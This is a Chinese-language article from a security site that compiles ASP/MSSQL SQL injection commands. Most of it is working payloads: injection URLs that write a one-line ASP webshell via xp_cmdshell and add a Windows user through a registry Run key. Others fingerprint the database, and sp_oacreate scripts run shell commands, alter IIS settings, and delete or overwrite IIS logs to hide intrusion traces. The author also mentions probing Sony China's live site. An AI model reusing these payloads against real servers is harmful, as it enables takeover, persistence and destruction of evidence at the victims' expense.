频道栏目
首页 > 资讯 > 网站安全 > 正文

整理的一些有用的ASP注入相关的命令

05-10-15        来源:[db:作者]  
收藏   我要投稿

大家好 ,我们是pt007和solaris7,QQ:7491805/564935,欢迎高手前来交流:)。

1、     http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:mu.asp;--
用^转义字符来写ASP文件的方法。

2、     http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
显示SQL系统版本:
Microsoft VBScript 编译器错误 错误 800a03f6
缺少 End
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) to a column of data type int.
/display.asp,行17
3、     我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。

4、     http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)
判断xp_cmdshell扩展存储过程是否存在。

5、     http://192.168.1.5/display.asp?keyno=188;EXEC%20master.dbo.xp_regwrite%20HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun,help1,REG_SZ,cmd.exe%20/c%20net user test ptlove /add
向启动组中写入命令行和执行程序

6、     http://192.168.1.5/display.asp?keyno=188%20and%200<>db_name()
查看当前的数据库名称Microsoft VBScript 编译器错误 错误 800a03f6
缺少 End
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value huidahouse to a column of data type int.
/display.asp,行17
7、     列出当前所有的数据库名称:select * from master.dbo.sysdatabases

8、     不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate wscript.shell,@shell output
EXEC sp_oamethod @shell,run,null,cmd.exe /c dir c:>c: emp.txt,0,true
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate scripting.filesystemobject,@fso output
EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,Readline,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate wscript.shell,@shell output
EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt,0,true
EXEC sp_oacreate scripting.filesystemobject,@fso output
EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,Readline,@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript C:InetpubAdminScriptsadsutil.vbs set /W3SVC/InProcessIsapiApps "C:WINNTsystem32idq.dll" "C:WINNTsystem32inetsrvhttpext.dll" "C:WINNTsystem32inetsrvhttpodbc.dll" "C:WINNTsystem32inetsrvssinc.dll" "C:WINNTsystem32msw3prt.dll" "C:winntsystem32inetsrvasp.dll">c: emp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c cscript.exe E:jeea.net.cnscoreftsimagesiis.vbs lh1 c:>c: emp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下两种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c del C:winntsystem32logfilesW3SVC5ex050718.log >c: emp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate wscript.shell,@shell output EXEC sp_oamethod @shell,run,null,cmd.exe /c copy C:winntsystem32logfilesW3SVC5ex050716.log C:winntsystem32logfilesW3SVC5ex050718.log>c: emp.txt,0,true EXEC sp_oacreate scripting.filesystemobject,@fso output EXEC sp_oamethod @fso,opentextfile,@file out,c: emp.txt WHILE @shell>0 BEGIN EXEC sp_oamethod @file,Readline,@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,AtEndOfStream,@

相关TAG标签
上一篇:网络协议都涉及哪些硬件
下一篇:Spyware的安全风险:我们应该变得更聪明
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站